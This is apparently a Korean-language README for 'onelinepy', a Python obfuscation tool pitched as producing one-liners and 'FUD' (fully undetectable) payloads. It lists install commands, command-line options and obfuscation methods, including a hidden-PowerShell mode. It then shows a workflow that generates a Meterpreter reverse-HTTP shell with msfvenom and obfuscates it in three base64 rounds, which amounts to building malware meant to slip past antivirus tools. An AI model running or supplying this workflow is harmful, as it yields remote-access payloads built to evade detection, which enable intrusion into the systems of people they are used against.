
원라이너 및 FUD 페이로드를 생성하는 Python 난독화 도구
git clone https://github.com/spicesouls/onelinepy
cd onelinepy
chmod +x setup.sh
./setup.sh
onelinepy
_ _
___ ___ ___| |_|___ ___ ___ _ _
| . | | -_| | | | -_| . | | | Python
|___|_|_|___|_|_|_|_|___| _|_ | Obfuscator
|_| |___|
usage: oneline.py [-h] [-m M] [-i I] [--script SCRIPT] [--code CODE] [--list] [--output OUTPUT]
선택적 인수:
-h, --help 이 도움말 메시지를 표시하고 종료합니다.
-m M 난독화 방법 (예: -m /one_line/base64)
-i I 난독화 반복 횟수.
--script SCRIPT 난독화할 Python 파일의 경로.
--code CODE 난독화할 Python 코드.
--list 난독화 방법 목록 표시.
--output OUTPUT 출력 파일.
msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt
onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfuscated_payload.txt
onelinepy -m /one_line/base64 --script payload.py -i 3
onelinepy -m /one_line/hex --code "print('HEX!')"
_ _
___ ___ ___| |_|___ ___ ___ _ _
| . | | -_| | | | -_| . | | | Python
|___|_|_|___|_|_|_|_|___| _|_ | Obfuscator
|_| |___|
난독화 도구 ( * = 구문 오류 발생 가능 )
-=============-
0 /one_line/hex
1 /one_line/base64
2 /one_line/base32
3 /one_line/gunzip*
4 /one_line/rot13*
5 /cmd/command
6 /cmd/powershell
7 /cmd/powershellhidden